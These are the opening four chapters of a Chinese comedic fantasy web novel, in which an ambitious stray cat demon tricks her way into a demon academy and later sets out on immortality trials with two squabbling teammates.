《为成仙我不择手段》
1. 第 1 章
野猫妖叶米化身幼童小儿在大唐私塾里偷学了两月，她聪明过人，很快就学会了凡人的文书，不过这字吧，认是认得了，写得却不怎么样。
这全赖她自己不乐意练习，觉得字写得好看没用，她学文也不过是为了将来进万妖堂学法术，够用就行，没必要花更多的功夫在这些小事上。
她可是要成大业的人，那谁说的“成大事者，不拘小节”，叶米深以为然。
但她不拘小节，别人拘啊，比如进入万妖堂学习需要的“进学通证”，可真是难倒她了。
没错，不是所有修炼成精的动物都能学习法术的，那些能入万妖堂学习的妖精都是有身份有背景的妖，而她这只孤寡可怜的小野猫，胡乱修炼几百年成精已经是莫大的幸运，可没有进学通证，这幸运也就到此为止了。
叶米思来想去，想到之前听过的一个故事：一个郁郁不得志的穷书生，好运地在一次山匪围剿中舍身救了一个朝廷大官，虽说挨了一刀子，但大难不死必有后福，那大官不仅将宝贝千金女儿许配给他，还扶持他入仕途。
叶米醍醐灌顶。
她是猫妖不是山匪，所以就召集了一群野猫小弟，决定去围剿她早就盯上的万妖堂夫子，元善老祖。
这位夫子可是她潜伏在万妖堂外多日、四处打听过后才选定的，说是脾性最好的夫子，俗话说得好，柿子就要挑软的捏嘛。
是夜，元善老祖在万妖堂加完班，匆匆出了门，正打算招来一片云彩赶回家去，还未使法术，却忽然见周遭的夜色中浮现出好多亮闪闪的猫眼，一双比一双亮得狠厉，绿的黄的蓝的，各有各的色彩。
元善老祖有些发蒙，奇怪道：“你们这些猫儿，来万妖堂做什么？”
野猫小弟们没成精，不会人语，只按照叶米的吩咐，“咕噜噜”地从喉咙里发出威胁的声音，猫脸上努力展露出凶神恶煞的模样。
元善老祖左右看了看，不明白自己做了什么会被这群野猫针对，但是今天他有事，便拱手道：“各位猫兄猫弟，老夫今日有急事，若有要事商议，还请他日再来。”
这么说完，他使了腾云驾雾的法术招来一片云彩，提着裙摆走上去的时候，那群野猫就扑了上来，几只咬住云，几只咬住他的衣摆，他的破衣服倒还好，云朵就疼得不行了，扭着身子挣扎着，一不小心就将元善老祖甩了下来。
“哎呦！”
元善老祖也是上千岁的高龄了，花白头发花白胡子，这一摔看着真是可怜。
更可怜的是他坐在地上，那几十只猫儿呈包围的架势、咕噜噜地朝着他踱步而来，草草几眼，就看见一只左眼上有道月牙儿疤，一只右耳上缺了块半圆，还有一只鼻子被削了一半，瞧着都是匪里匪气的。
元善老祖原是不怕猫的，但此情此景，加上臀部的疼痛，他不免感到几分冷飕飕的恐怖，咽下口水正要使出定身术时，只听一声高昂的猫叫破空而来：
“喵呜——”
他应声望去，只见一只三花猫不知从哪里跳了出来，周身发着淡淡的金光，飞扑到了他的身前，弓背立尾地炸开了所有毛发，“咕噜噜”地朝那些猫匪们威胁了几句，十足的气势还真的吓退了几只。
元善老祖有些摸不着头脑，但还是静静地坐在地上，一手扶腰一手撑地，并不打扰英猫救老的表演。
三花猫威胁完，嗷呜一声，一跳而上迎战，场面顿时尘土飞扬、乱作一团，元善老祖被飞尘呛了几声咳嗽，又眯了眼睛，再睁开来时，只见一干猫匪作鸟兽散，图留下那只英雄三花猫坐立于他面前，昂首挺胸着。
元善老祖定睛一瞧，三花猫的脸上多了一道流血的伤疤。
“唉，你这只小猫儿……”闹剧发生和结束得太快，元善老祖还没反应过来，一时失言，他斟酌了几分，最后还是承认了这猫儿不必要的救命之恩，“多谢你出手相助。”
叶米咧嘴一笑：“不用谢！”
野猫忽然说话，寻常人都会被吓一跳，幸好元善老祖不是寻常人，他只是略微吃惊：“喔，原来你是一只猫妖。”
叶米说：“我是猫妖。”
话音一落，她周身发光，转眼间变成了一个十一二岁模样的女孩站在元善老祖的面前，一头枯黄的头发散落在肩上，眉毛也是枯黄的，皮肤有些黝黑脏污，倒是衬着她黑溜溜的猫眼格外明亮。
元善老祖的注意力在她脸上的伤：“你脸上的伤可有大碍？”
叶米摇摇头道：“我流浪几百年，什么大风大浪没经历过，这些小伤不值一提……”
话说到这，她忽然觉得自己说错话了，连忙话锋一转，捂着脸说：“不过真是疼啊，这道伤指不定伤到骨头了！那是很难恢复的。”
元善老祖担心道：“真是对不住你，因为老夫的缘故……”
叶米：“你对不住我？”
元善老祖：“是？”
叶米便顺势而为：“夫子，你若是觉得对不住我，可以补偿我。”
元善老祖这会儿感到一丝不对劲来，但他好奇这只猫妖想要什么补偿：“不如你说说看？”
叶米朝他一拱手，这是她学来的规矩：“夫子，我想进万妖堂学法术，我聪明过妖，勤勉聪慧，资质不比任何妖差。如今也学会了认字读书，只差一本进学通证，便能进万妖堂学法术了。”
元善老祖听了她一番话，有很多疑惑，比如这小猫妖怎么能这么大言不惭地说自己资质不比任何妖差的，但这些不太好问出口，于是他先问：
“你为何想学法术？”
叶米道：“我要成仙。”
元善老祖这下就有更多的疑惑了，他看着面前这瘦不拉几的小猫妖，一身破烂衣裳，看到她只能想到路边可怜的乞儿，哪里都和仙人扯不上关系。
他正要说些什么，忽然感到手臂被什么挤了挤，转头一看，是他招来的云彩，元善老祖总算想起自己还有要紧事要赶：
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“糟了糟了，差点忘了正经事！”
“欸，你还没答应我！”见他上了云彩，叶米着急地上前一步，“夫子，你不是要补偿我吗？”
元善老祖一般不以恶意揣测他妖，但这小猫妖的伎俩实在拙劣、目的又过于直白，他不想多疑也不行，若是平常，他倒也想和她讲讲道理，可这会儿真是有事，正想着要如何婉拒了小猫妖的“补偿”，但一转眼又看到了她脸上血淋淋的伤疤。
故事虽是假的，伤却是真的。
元善老祖就是那种看见路边的乞丐就会赏钱的好神仙，他见这只小猫妖一身狼狈、实在可怜；又想一只无人庇护的野猫成精定是遭过不少艰难险阻，实属不易。既然如此，不过一本进学通证……
“唉。”元善老祖叹了口气，左手掌上白光一闪，显出一本湛蓝色的证书，“既然你找上我，便有此中的缘分，这通证你收好。”
哪里用得着他说，叶米就差没抢了：“多谢夫子、多谢夫子！日后我定会潜心修炼、夺得成仙之位，不会让你失望的！”
元善老祖笑叹着摇了摇头，见她一心放在进学通证上，自己又赶时间，并不再多言，腾云驾雾而去。
叶米打开进学通证，迫不及待地用利爪划破指腹，在证上印下自己的指印，通证金光一闪，上面就出现了她的画像和姓名，如此便是她的进学通证了。
叶米非常满意。
“喵~”
她低下头去，看见一只左眼有月牙疤的白猫在她的脚边蹭来蹭去，叶米哼笑一声，盘腿坐下，将进学通证摊开在双腿中，给挤过来的几只猫看：“喏，这就是万妖堂的进学通证，有了它，我就能学法术成仙了。”
白猫撒娇地叫：“喵~”老大好厉害，真是料事如神，那夫子承了您的救命之恩，进学通证是手到擒来！
其他猫儿纷纷应喵。
叶米哪里不清楚元善老祖识破了她的小计俩，可她看似行的是英猫救老的手段，其实主打一个苦肉计，那元善老祖是她千挑万选中的好捏的软柿子、心善的好神仙，看见蚂蚁都要抬脚走过去，只要她表现得愚蠢可怜一点，他定会心软。
不过嘛，在小弟面前，她自然是另一套说辞了：“那当然了，这世间哪里还有比我更聪明的妖？”
猫小弟们佩服极了：
喵，老大英明！
喵，老大聪慧！
喵，老大机智！
叶米听得心花怒放，夸下海口道：“等我得道成仙那一日，就是我们猫族再现风光之时。到时候我渡你们几口仙气，让你们成妖化形还不是简简单单？以后那些恶人顽童，哪还敢再欺负你们？只有我们猫妖欺负别人的份！”
众猫幻想那日景况，欢喵不止。
叶米看着手中的进学通证，心里也是雄心勃勃，成仙的抱负没有一刻不在她的脑海中喧嚣，如今终于要踏上实现梦想的第一步了。将来是可预见的困难重重，幸好她一点也不害怕。
2. 第 2 章
万妖堂开学第一日。
叶米在门口瞧见不少妖二代风光来上学的场景，有腾云驾雾来的，有坐仙轿子来的，也有骑妖兽来的，像她这样靠双腿走来的朴实小妖真是少见。进堂前，叶米瞅见门口一对拉着自己小儿哭哭啼啼说舍不得的父母，心中有些鄙夷。
进了堂中，妖二代们的风光就瞧不见了，仿佛隔了层结界一般，里头安静了不少，来往的学生都穿着统一的米白色长袍校服，有一些提着或背着行囊，一看就是新生。
万妖堂规模可观，不是叶米之前去偷学的小私塾可比的，她寻了半天的路，好不容易找到自己的寝室，里头共有四个床铺，不过其中三个已被占领，叶米来得晚，就只剩下最靠外边的那张。
收拾好行囊，叶米来到静心堂，里头已经坐了不少妖精，看着都是十岁左右小孩的模样，妖龄估计都有一二百岁，但妖的一二百岁和人是不一样的，还算是小孩呢。
不过两百岁的小孩，自然不会是简单童真的。
叶米扫了一眼，看到了一个四周无妖的空位，正要走过去坐下，忽然被人撞到了手臂，力气还不小，她流浪百年，第一反应是有人找茬，登时竖起猫眼瞪向来人，却见是个扎着六个辫子的女孩。
“啊，对不住对不住……”六个辫子看她表情好凶，慌张地摇了摇手，“我不是故意的……”
叶米见她这怂样就知道她确实不是故意的，但也没什么好气道：“走路小心点，下次撞别人也不准撞我！”
“好、好……”谢珍珠没想到一撞就撞到了个硬茬，急得额头上冒了汗水，一边道歉一边后退，“对不住、对不住……”
可她不知怎么，走路的时候居然是斜着走的，似乎自己还控制不住，这不，一不小心又撞到了边上的桌子，疼得她惊呼一声，捂住了自己被撞的手臂。
叶米：……
看着这妖的蠢样，她心想妖二代果真没什么了不起，图有好背景罢了，该蠢的还是蠢。
叶米找了个空位坐下，趁着夫子还没来，她打算先眯会，刚叠好手臂靠上去闭上眼睛，忽然感觉有人拉她的头发。要不是初来乍到，低调行事为妙，叶米这就要发火了，她忍着怒气扭头一看，是一个虎头虎脑的小屁孩。
“喂，”这小孩说话真没礼貌，还挑着眉打量她，“你是什么妖，先前没见过你？呵，脸上还破了相。”
叶米哼出一声气：“问别人名字前不是该自报家门？”
“哈哈哈！”胡和烈大笑几声，得意道，“小爷的家门，说出来怕吓着你！”
叶米心想，这屋里所有人的家门都能压她一头，毕竟她连家都没有，但她也不乐意顺了这家伙的威风，便翻了个白眼，转过头去趴下来，不打算理会他。
“喂、喂，”见她忽然不搭理自己，本想报出家门看对方惊讶表情的胡和烈自然不痛快了，又拉了她头发两下，“你还没回我的话！”
叶米把头发拢到前面去，那人又不依不饶地戳她的后背。
她哪里是个好脾气的，被戳第三下的时候就忍不住了，长出爪子飞快地给了那贱手一爪——
“啊！”
胡和烈抱手惊呼：“你居然敢抓我！你好大的胆子！！”
叶米扭着脑袋瞪着他，瞳孔转成了竖瞳，这就瞧不见她眼里的火气了，只剩下诡异的尖椭圆。
胡和烈看了看手中的三道流血的伤，又看向那双乌黑的瞳孔，哪里还有不知道的，扯了个古怪又鄙夷的笑：“原来是只猫妖，不过，我怎么不知道妖族世家中还有猫族啊？”
“胡哥哥，”他边上的男同学凑过来说，“你记得没错，就是没有猫族，不知道这小猫妖是哪来的。”
胡和烈抬了下眉：“是吗？那她……”
就在此时，门口不紧不慢地走进来一位仙风道骨的仙人，一身灰白色的长袍不沾尘埃，手上拿着洁净的拂尘，面容肃穆，不苟言笑。原本有些吵闹的静心堂，他一进来就“名副其实”了。
叶米是做过调查的，这位就是传说中万妖堂里最严厉的树法祖师，她立刻转过去挺直了身子坐好。
可被她抓了三道伤的胡和烈哪会放过她，唰地站起来指着她的后脑勺说：“树法祖师，这只猫妖不知从哪里混进来的，妖族世家中可没有猫族！”
开学第一天，树法祖师刚到讲台上站定就要受理这届学生的第一起纠纷，他看向胡和烈指向的学生，是一个脸上有道疤的女孩，树法祖师一眼就瞧出她的原型，确实是只猫。
既然已经进来了，那就没有再被赶出去的道理，叶米也站了起来，拿出自己的进学通证道：“我是凭着进学通证正大光明走进来的，怎么，难道不是妖族世家中的妖，就不能进万妖堂学法术了？”
胡和烈边上的男同学陆甲道：“树法祖师，没有这样的先例啊！”
叶米瞥他一眼：“为何凡事都要看先例？你年纪轻轻，脑子就这么古板、不知变通，真可怜。”
陆甲一愣：“你说什么！？”
叶米好心地打算再说一遍：“我说……”
“肃静。”
树法祖师轻飘飘一句打断了这场小学妖斗嘴，他手一伸，叶米手上的进学通证便飞到了他手上，树法祖师打开瞧了一眼，又看了看乖乖站在那的叶米，思绪一转，又将进学通证飞了回去。
“有进学通证者便能入万妖堂学习，至于学生是否要出自妖族世家，堂规并未有规定。”
叶米一听，朝树法祖师行了拱手一礼：“不愧是树法祖师，公正英明！”
说罢，又朝胡和烈嘚瑟地使了个眼色，看着很是欠揍。
“树法祖师，这只猫妖来历不明就算了，还野性难驯，”胡和烈气得咬了下牙，伸出自己被抓伤的手，告状道，“我才同她说两句话，她一言不合就伤了我，这样的妖如何能在万妖堂同我们一起学习？”
叶米大呼冤枉：“真是恶
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妖先告状，明明是你先扯我头发、戳我背脊！”
“那是你先不理我。”
“你算个屁啊，你叫我我就要理你？”
“你、你说话怎么这么粗……”
“够了！”树法祖师一声喝下，微皱的眉头让他本就严肃的面容又严厉了几分，他看着这两个初露顽劣脾性的学生，已经预想到未来的教书生涯之不易，脑袋有些隐隐作痛，“此事你们二人皆有错处，罚互相致歉、抄写堂规五十遍。”
叶米不知道自己有什么错，闷闷应了一声，瘪着嘴巴：“……是。”
胡和烈就更觉得自己冤枉了：“树法祖师……”
“从今天开始，”树法祖师拂尘一挥，就把胡和烈的嘴巴给封上了，以免耽误自己授课，“我就是你们的师父。日后有什么术法和修行上的困惑，皆可来找为师解答。还望你们在万妖堂里勤学苦练、静心修行，师兄弟间和睦共处、同门共济。”
说到最后的时候，眼神分明是落在某两个妖身上的。
众学生纷纷起立，弯腰行礼：“学生谨听师父教诲。”
梁子易结难解，叶米进万妖堂第一天就和胡和烈结下了梁子，真是开了个好头，想来之后的日子会很精彩，叶米咬牙切齿地期待着。
这会儿她的脑海里还回放着胡合理说的“来历不明、野性难驯”，虽然他说得也没错，但叶米介怀话中的不屑和鄙夷，她是没有什么世家血统、可靠背景，但她还就不乐意别人看不起自己了。
叶米想，等她得道成仙，成为妖族世家中猫族第一人，到时的风光无限、万众敬仰，自会给这些不知好歹的蠢妖们狠狠一爪子。
她会有那一天的。
*
努力修炼的日子漫漫而长，回首一望，原来已经过了七年。
七年前的新生经过不断的学习和磨练，迎来了属于他们的最终成仙之位竞选，选上者成仙，落选者各回各家、不问前程。
叶米这一届共有五六十号妖，每组分三妖，以万妖堂为中心，每组有单独的考核路线，需经历四劫八难到达终点，还要与其他组的比分进行对比斟酌，最后才由万妖堂中各位夫子共同评出成仙人选。
据说这考核之法参考的是唐三藏师徒四人西天取经的事迹，这故事闻名三界，是千古佳话也是饭后闲谈。叶米也是从小听到大，但没人专门同她讲过，她都是听个碎片，也不知有没有听满八十一难。
这些暂且不重要，重要的是今日的考核抽签分组，她可真是抽了个好签。
全班性格最软弱的谢珍珠，以及和她最不对付的胡和烈。
叶米看着两张签纸上的名字，心想跟这两人组队，那可不止四劫八难了。
她顿了顿，忽然从胡和烈那张签纸下又挪出一张来，顶着树法祖师平静的视线，露出一个乖巧的笑：“哎呀师父，你看我真是不小心，怎么多抽了一张呢，这样吧，为了公平起见，我放回去重抽。”
3. 第 3 章
“呵。”树法祖师看着她的笑脸，摸了摸胡子，也笑了一声，“好。”
叶米连忙把签纸扔了回去，松了口气道：“多谢师父！”
她把手伸进签筒里，里边大概还剩十几张签纸，叶米想偷用法术，却发现怎么也使不出来，想来里头被施了结界，难道真的只能靠运气了？
她深呼一口气，又抽出两张来，正要打开看，就听树法祖师道：“叶米，看好了，是两张没错？”
叶米隐约感到一股不妙，扯了个笑脸：“是……”
树法祖师：“那就打开吧。”
叶米很少有这么紧张的时候，她把两张签纸打开，就如她最不想预料到的那样，谢珍珠和胡和烈的名字又水灵灵地出现了。
“师父，”她的笑容耷拉下来，好险还挂住了一点点，不至于对她尊敬的师父摆脸色，“这抽签，果真是公平公正的？”
“叶米啊叶米，”树法祖师摇着脑袋，倒没有生气，只是略有点无奈道，“为师说过，万事自有天意，不必强求，顺其自然，你背得流利，却不能践行，这该如何是好？”
叶米就明白刚刚自己的小法术被看穿了，那还能咋整，立正挨打呗：“师父教训的是，叶米知错。”
她刚认完错，树法祖师都还没说什么，后边就有妖迫不及待地幸灾乐祸了：
“叶米，都要成仙考核了，你还日日犯错，这几年来你可不止一次大放厥词地说要成仙，我看悬呐！连‘不必强求、顺其自然’都做不到，你何时能成道啊？真是让师父不省心……”
叶米回头，看见胡和烈抱着胸摇脑袋，一脸欠揍的笑，看着看着她自己也笑了，毕竟傻子自得的模样确实好笑：“哦？那你猜我为什么犯错？”
胡和烈觉得自己还是很了解这个死对头的：“像你这样慕强嫌弱的妖，定是抽到了法术没自己厉害的队友，觉得他们拖后腿啊？”
叶米听到身后的师父叹了一口气。
她翻着白眼，把手上两张签纸扔到胡和烈脸上：“你倒是聪明。”
胡和烈定睛一看，瞧见自己的名字，惊目圆瞪，立刻也不乐意了：“师父，我不要和叶米组队！我要重抽！”
树法祖师：“万事自有……”
“万事自有天意！”叶米抢过师父的话头，看见胡和烈不高兴，她倒是高兴了一点，一张猫脸就笑眯眯了起来，“你连‘不必强求、顺其自然’都做不到，你何时能成道啊？真是不让师父省心！”
胡和烈：……
台词不要太熟了。
“夭寿了，跟着两人组队真是夭寿，”林圆圆捏着手中的签纸，同边上的小伙伴说，“不知道那个倒霉妖是谁，幸好我已经分组了。”
谢珍珠不知怎么，这会的心脏跳得格外剧烈，她喝了口水，点点头说：“是啊……”
林圆圆又问：“你是不是还没抽签？快到你了吧？”
谢珍珠“嗯”了一声，左手捏右手，正打算起身去排队，刚抬起半个屁股，却见叶米朝这边走来，一下就把写着她名字的签纸拍在她的桌上。
林圆圆看了一眼：“夭寿a咳咳咳……”
谢珍珠“duang”地又坐回去了，清澈的眼睛睁得大大的，看着桌上的签纸发愣发傻，表情难掩可怖。
胡和烈不知道什么时候也跟上来了，瞧见她的模样，有些不开心道：“谢珍珠，你这是什么态度？你一个法术吊车尾的妖，跟小爷组队还委屈你了？”
谢珍珠真经不起吓，连忙摆手摇头：“不是不是、没有没有啊……”
她还没想出合适的解释，叶米就冷哼一声：“我不知道她委不委屈，反正我是挺委屈的，你们两个成绩都不如我，那日后我就是组里的话事人，有什么重大决定都要听我的，要是你们敢耍什么花样拖我的后腿、害我成不了仙……”
她的话啊是越说越冷冰冰、阴森森：“我做鬼也不会放过你们。”
谢珍珠瞪着眼睛，眼泪毫无阻力地就biu了出来。
胡和烈是不害怕她的，只是很容易被猫激怒：“不就几场考试，能说明什么？凭什么你就当话事人了？想小爷听你的话？没门！”
叶米懒得理他，留下一句“收拾好行李，明早出发”就头也不回地走了，留下胡和烈还在后边吵吵嚷嚷：
“你以为你做鬼我就会怕你了？我家在阴曹地府也有亲戚，臭猫，你给我小心点……”
两人吵着走了，留下谢珍珠拿着签纸擦眼泪，林圆圆看她好可怜，安慰道：“你也别太伤心，起码她们二妖术法高超，你就算拖后腿也能被带着飞几步，成仙的可能性也大了许多，对不对？”
谢珍珠抽抽鼻涕道：“可、可是我，我成不成仙、都无所谓，呜呜，我就想安安稳稳学七年法术，拿、拿到结业证后，回去和我爹娘、呜呜交代……”
林圆圆：哎呀这。
她转转脑子，又安慰道：“其实叶米和胡和烈分开来还是好相处的，叶米平时一心修炼，也不爱搭理我们，胡和烈虽说性子暴躁，但不惹他也不会怎么……总之，你夹着尾巴做妖，小心行事，考核也不过几月的事，忍忍就过去了。”
谢珍珠闻言，点了点头，想了想又说：“可是我没有尾巴……”
林圆圆：？
“好吧，”她从善如流道，“那你就夹着钳子做妖，行吧？”
螃蟹精谢珍珠用钳子抹了把眼泪，咽下了这口苦水。
这还只是漫漫考核期间的第一口。
对于抽签分组的结果，不管是不情愿是生气还是害怕，事已至此，只能顺其自然——不自然也得顺下去。
反正隔天一早，三妖集合，就准备出发了。
叶米一挥手，空中就浮现一幅简易版的地图，大道小路、山川河海，以及沿途的主要建筑如花纹般雕刻其中，其中又一团猫爪图案印在右下角一个写着“万妖堂”字样的殿宇图案上，表明她的所在位置。
而地图的左上角最远处，有一朵多瓣莲花在上方飘飘浮浮，正是她们要去的终点。
这距离看着远，其实腾云驾雾过去几日就能到达，只可惜他们不能飞，只能靠双腿走，每一步都要作数。
叶米瞅了会地图，很快心中就有了盘算，指着一处说：“徒步而行，自然是天朗气清、风调雨顺最好，我看这朵乌云要往东走，那我们就向西北行，先去多情塔。”
谢珍珠连连应和，态度颇有些讨好的意思：“好啊好啊，要是遇上狂风暴雨，耽误了时辰，那可不好了。”
她的路线规划自然是没问题的，可胡和烈早已形成了条件反射般的与她作对反应，冷哼一声说：“说得好听，你不就是讨厌下雨吗？”
同行第一日，该忍则忍，叶米就忍住了自己的宽和大方，并没惯着他：“我只是讨厌，不像某些扑棱蛾子，遇水连飞都飞不起来，真是好笑。”
“你说什么！？”扑棱蛾子最讨厌别人叫他扑棱蛾子，也只有叶米这么叫他，他回回听到都要生气，“你要我说几遍，我是虎头蜂，不是蛾子！”
叶米朝他一歪头：“对我来说是没有分别的。”
“你这只臭猫——”
“没你臭。”
“你！”
……
谢珍珠抓着包裹，瘪着嘴巴很是可怜害怕，怕惹火上身不敢劝和，但就这么看着他俩吵架好似也不行……
幸好他们这会还在万妖堂门口，两人没吵几句，元善老祖就闻风而来，一声不轻不重的“你们在做什么”，惊得三妖寒毛竖起。
“师父……”
三妖连忙给元善老祖行礼。
“唉……”元善老祖摇头叹气，一脸无奈心累，但考核在即，事到如今，他还能说啥，“得道成仙者，须有平和心性、宽宏大量，你们二妖在万妖堂修炼七年，却还执着于口舌之辩，何时能得道呢？”
三妖异口同声道：“学生知错。”
知错知错……元善老祖看着叶米变幻后的黑发，顶着这个发色，确实比之前的黄毛看着乖巧多了，不过也只是看着。
这七年
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来，真是不知道听她说了多少次“知错”了，要不是她确实勤学修炼、颇有灵性，如今也法术高超，在万妖堂中排得上名号，他差点要后悔当年给了她那本进学通证。
“叶米。”
叶米抬起眼，看这位她万分尊敬的师父：“学生在。”
元善老祖说：
“叶米，为师明白你一心要得道成仙，不过此事并非你所想得那般简单。如今七年已过，考核路远，危险重重，希望你们三妖历经四劫八难后，能明白经书中的道理，也不枉这七年来，我与树法祖师对你们的悉心教导。”
“谨遵师父的教诲。”
元善老祖不免想：要真能“谨遵”，他还会出现在这里？
送走元善老祖，三妖都不乐意给彼此一个眼神，主打一个眼不见为净、没瞅对眼就吵不起来，赶紧背着行囊上路了——
毕竟就算真要吵，也得走远点吵。
出发前，树法祖师曾说，这一路的考核都有万妖堂的各位夫子、甚至四海八荒的各路神仙对他们进行监督考核，不过大多数妖很快就会忘了这事，毕竟离开万妖堂后，双眼所看之处皆是寻常的民间景色，哪里看得到神仙呢？
三妖关系并不融洽，一路上没说几句话，甚至赶路时彼此间隔了好几人的空隙，不知道的人就真不知道她仨是一道的。
走了十几里路，好不容易走出万妖堂所在的小城镇来到城外，三妖觉得有些疲累口渴，便来到一条河边休息饮水。
谢珍珠跪坐在河边，仿佛刚走出沙漠似的，大口大口喝了几口水，这还觉得不够，将整个脑袋浸泡进水中，咕噜噜地从水面上冒出几个泡泡，两边共六个辫子在水面上飘飘浮浮舞蹈着，显出她此刻放松的心情。
叶米看她扬起脑袋时满头都是水，脸上还挂着有点弱智的微笑，忍不住嘴角一扯，暗自嫌弃这螃蟹精喝个水也太不优雅了，真是没个人样，难道水里的妖精都是这般的？
她转头一看，胡和烈不知道什么时候就飞上了边上的树，躺在一根树枝上跷二郎腿，嘴边嚼着几张树叶，看着有些享受。
她又暗笑这扑棱蛾子也是蜂性难移，看见树枝就想筑巢歇息、路上瞧见果子嫩叶的，就下意识要摘下来解嘴馋，也是没个人样。这么看来，三妖之中还是她装得最像个人了……
叶米一边用树皮磨爪一边如此得意地想。
三妖各自释放天性放松时，忽然听到一声虚弱的“咳咳”，她们耳根灵敏，闻声望去，只见一个挑着两篮桃子的大娘从边上慢吞吞走来，走到三妖视线范围内时，就将篮子放下，坐在地上擦汗休息。
叶米动了动鼻子，没闻见妖味，又仔细打量了那大娘一眼，瞧着很普通，便没管她了。
胡和烈闻见桃子味，咽了咽口水，从树上喊道：“喂，大娘，你这桃子怎么卖？”
大娘擦了把汗，抬头看向胡和烈，说话时还有些喘气：“欸，这位公子，我这都是新摘下的桃，又甜又多汁，我正要挑到城里去卖。不过我年纪大了，走两步就要歇一会，这到了城里也不知道要什么时候……”
“实不相瞒，”大娘叹了口气，摇摇头道，“家中还有病弱的孙儿等我卖了桃子买药治病，我这心中实在着急得很……不如这样，我送你们几个桃子，你们三位好心人，帮我把桃子挑到城里去可好？”
三妖闻言都是一愣。
谢珍珠抓抓辫子，看了看叶米，她正坐在树下盯着大娘瞧，不知道在想什么；谢珍珠又看了看大娘，想到她家中的老奶奶，心下有些不忍，便慢吞吞走过去，小心翼翼地说：
“叶米，她好可怜啊，这么大把年纪了，为了给孙儿治病还要这么辛劳，不如我们……”
叶米瞅她一眼，这螃蟹头上的水已经干了：“我们走了大半天，好不容易走出城，现在要送她回去，那今日的路程不是白走了？若是这一日的落后让我成不了仙，我要找谁喊冤枉去？”
谢珍珠张了张嘴，又闭上，点了点头说：“你、你说的也是……那那那，那算了吧。”
4. 第 4 章
“喂，”胡和烈从树上跳下来，看着大娘道，“我就想和你买个桃，你叽里咕噜地说什么呢？就说桃要多少银两便是。”
“唉……”大娘瞧着很失落，她摇了摇头说，“不用钱，送你们几个桃吃吧，这样我也能轻松些。真怕还没进城，我这老骨头就要散架喽。”
谢珍珠听她这么说，更觉得可怜了，犹豫地看了看叶米，见她还是无动于衷的模样，心中又害怕，便咬着下唇不说话。
胡和烈掏出几文钱在手上一抛：“小爷不吃嗟来之食，这钱你不收也得收。”
这么说着，他随意地将钱往桃篮里一扔，几个铜板颠三倒四地掉入几个桃子的缝隙之中，忽然瞧不见了影子。
大娘：……
胡和烈倒是没觉得什么，随便拿了两个桃子就走。
叶米这时候站起来道：“休息够了？上路吧。”
胡和烈咬着桃，含糊地应了一声，谢珍珠又看了几眼大娘，心中纵有不忍，但也没说什么。
她们拎起行囊继续上路，可没走两步，忽然听到身后传来一声熟悉的叹息。
三妖都被这声吓了一跳，连忙回头一看，哪里还见挑篮子的大娘，仙风道骨站在那的人，不是她们的好师父树法祖师还是谁？
她们又不是傻子，还能不明白发生了什么，连忙低下脑袋给树法祖师行礼：“师父！”
“为师说过，”树法祖师看着三个不敢抬头看他的脑袋，语气有些严厉，“出门在外，做妖要慈悲为怀，路见不平便要拔刀相助……这还没到拔刀的时候，不过帮忙挑个篮子的小事，就嫌麻烦了？”
胡和烈转了转脑子：“师父，我给钱了！”
他要是不提这个，树法祖师还懒得说他：“有你这么给钱的吗？扔人家篮子里，你是觉得很有礼数，胡小爷？”
胡小爷闭上嘴巴。
“师父。”叶米还觉得挺冤枉，“你只说路上要经历四劫八难，没说还要掺和这些凡人的小事啊，我们这也是为了尽快完成考核……”
“看来你们根本不知道考的是什么。”树法祖师前两句话还算缓和，这句就只有硬邦邦的严肃了，“多说无益，你们这组，为师就先扣上两分。”
三妖：！？
出发第一天，啥都还没做就扣了两分，三妖的脸上都不大好看，但也不能和师父顶嘴，只好把不服气往肚子里咽。
等树法祖师扣完分走了，两妖心里憋着火，一妖心里很委屈，万幸没吵起来，就闷头继续赶路。
不过有了这一茬，三妖不禁“提心吊胆”起来，路上但凡碰见点需要帮助的，都以万分的热情迎上去：
小俩口吵架的要上去劝和，劝得火上浇油，夫妻俩直接动手了，叶米烦躁地施了定身术，吓得两人连连求饶，表示以后再也不斗嘴动手、要相敬如宾。
这算是勉强解决了一件。
小孩走失是要帮忙找家的，胡和烈拎着小孩衣领在屋顶上跳来跳去让他找家门，直接给人孩子吓得晕过去，只好送到医馆去看大夫，正巧那大夫给这小孩治过病，认得他娘。
这也算是找到了吧。
路边看见伤心的姑娘家是要安慰一下的，谢珍珠听着姑娘诉苦命运多舛，听着听着悲从心起，也忍不住哭了起来，一人一妖抱头痛哭，姑娘哭爽了心情就好多了，留下谢珍珠没回过神、泪流不止，被叶米和胡和烈嘲笑了一番。
悲伤不会消失，但转移了呀，这不能不算帮到人了。
三妖眼中有活，多行善事，过了几天当大好妖的日子，不得不觉得妖生艰难。这日，好不容易到了多情塔附近的金塔村，第一关近在眼前。
一到村门口，叶米便敏锐地察觉到一丝古怪，但她望天，风云不变，望地，寻常的村子，瞧不出哪里异常。
胡和烈见她站在村口不动弹，一双眼睛上下左右地转悠，不知道在想什么，有些不耐道：“你杵在那做什么，还不赶紧进村找个客栈歇息？明早就能到多情塔了。”
叶米道：“你们没觉得这村子有些古怪？”
胡和烈没觉得，“哪里古怪？”
叶米看向谢珍珠，后者也一脸懵地摇摇头。
“罢了，”叶米撇了下嘴，“指望不上你们。”
胡和烈听不得这话，翻了个白眼，冷哼一声：“猫性多疑，真是臭毛病。”
叶米：“自己没本事就是我多疑了？”
“呵，那你倒是说说哪里有问题。”
叶米暂时说不出来，嘴上也不承认：“你让我说我就说？想得倒挺美。”
这么说着，她快步走在前头进了村。
相处了几天，谢珍珠现在能和两妖说上几句话了，冲着有些生气的胡和烈道：“不打紧不打紧，明天就能到多情塔了，我们先进村找个地方住下吧？养好了精神，才好过关是不是……”
胡和烈盯着叶米的背影，冷哼一声。
村里还挺热闹，夜色将黑，街上还有不少人，两边上是一连排的小摊，摊贩们叫喊着贩卖吃食或是什么小玩意儿，听着都很好玩。
谢珍珠家在河海里，看见陆地上的新鲜事儿难免会好奇，但叶米走得有些快，她好像对什么也不感兴趣，谢珍珠怕跟丢挨骂，只好收着好奇心紧跟在她身后，但眼神还是时不时往边上溜一下。
溜了几回，看见村民们其乐融融、安居乐业的模样，她心里也暖暖的，居然有了胆子去和叶米搭话：“叶、叶米……听说你在人间过了许多年，人类的村镇都是这么快乐和睦的吗？”
叶米语气平淡：“那是你没瞧见他们撕破脸的时候。”
“是吗？”谢珍珠想了想，有些疑惑，“我们妖族天生好斗，打架常是为了抢夺珍宝、增强妖法……人类打架是为了什么？”
叶米不耐回答她这个问题：“我怎么知道，我又不是人。”
“……是噢。”
